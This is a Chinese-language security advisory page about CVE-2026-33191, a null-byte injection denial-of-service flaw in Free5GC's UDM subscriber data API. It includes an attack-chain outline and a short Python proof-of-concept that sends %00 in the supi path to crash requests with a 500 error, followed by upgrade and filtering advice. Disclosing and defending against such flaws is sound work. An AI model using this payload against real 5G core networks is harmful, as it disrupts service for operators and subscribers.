IPBUF安全漏洞报告
English
CVE-2026-33191 CVSS 8.6 高危

CVE-2026-33191 Free5GC空字节注入漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-33191
漏洞类型
空字节注入
CVSS评分
8.6 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Free5GC

相关标签

空字节注入拒绝服务Free5GC5G核心网DoSCWE-93

漏洞概述

Free5GC是Linux基金会的开源5G核心网项目。在1.4.2版本之前,UDM组件的Nudm_SubscriberDataManagement API存在空字节注入漏洞。攻击者可向`supi`路径参数注入URL编码的空字节(%00),触发Go语言net/url包的解析错误(“invalid control character in URL”),导致服务器返回500错误。由于系统未能正确验证输入,该漏洞可被利用发起拒绝服务攻击,影响服务可用性。官方已在1.4.2版本中修复此问题。

技术细节

该漏洞位于Free5GC的统一数据管理(UDM)模块中,具体涉及Nudm_SubscriberDataManagement API接口的实现。漏洞的根本原因在于应用程序未对传入的`supi`路径参数进行严格的输入清洗与验证。当远程攻击者构造恶意的HTTP请求,在`supi`参数中插入URL编码的空字节(%00)时,UDM组件会直接使用该受污染的参数去构建访问统一数据存储库(UDR)的内部请求URL。Go语言的标准库`net/url`在解析URL时严格遵循RFC 3986规范,拒绝包含控制字符(如空字节)的URL,从而抛出“invalid control character in URL”的异常。由于缺乏异常捕获和输入规范化机制,该底层错误直接导致服务端返回500 Internal Server Error,而非预期的400 Bad Request。未认证的攻击者可利用此缺陷,无需用户交互即可通过网络发送大量特制请求,导致服务进程崩溃或资源耗尽,实现拒绝服务攻击。

攻击链分析

STEP 1
侦察
攻击者识别互联网上暴露的Free5GC UDM组件接口,确认目标版本小于1.4.2。
STEP 2
构造载荷
攻击者利用Python或Curl等工具,构造包含URL编码空字节(%00)的`supi`路径参数。
STEP 3
发送请求
攻击者向UDM的Nudm_SubscriberDataManagement API发送包含恶意参数的HTTP GET请求。
STEP 4
触发漏洞
UDM组件尝试利用该参数构造UDR的URL,Go语言net/url包解析失败抛出异常,服务端返回500错误,造成拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 import requests def exploit_cve_2026_33191(target_ip): """ PoC for CVE-2026-33191: Null Byte Injection in Free5GC UDM. This script sends a request with a null byte (%00) in the supi parameter to trigger a URL parsing error and cause a 500 Internal Server Error. """ # The vulnerable endpoint typically involves the supi (Subscription Permanent Identifier) # Construct the malicious URL with a null byte malicious_url = f"http://{target_ip}/nudm-subscriberdata-management/v1/subscription-data/%00" try: print(f"[*] Sending payload to {malicious_url}") response = requests.get(malicious_url, timeout=10) if response.status_code == 500: print("[+] Exploit successful! Server returned 500 Internal Server Error.") print(f"[+] Response body: {response.text[:200]}") else: print(f"[-] Unexpected status code: {response.status_code}") print(f"[-] Response body: {response.text[:200]}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") if __name__ == "__main__": # Replace with the actual target IP address or hostname target = "<TARGET_IP>:<PORT>" exploit_cve_2026_33191(target)

影响范围

Free5GC < 1.4.2

防御指南

临时缓解措施
建议立即升级至Free5GC 1.4.2版本以彻底修复此漏洞。若暂时无法升级,应在网络边界设备(如WAF、API网关)上配置严格的输入过滤规则,拒绝任何URL路径中包含控制字符(特别是%00)的请求,从而阻断针对UDM组件的攻击流量。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表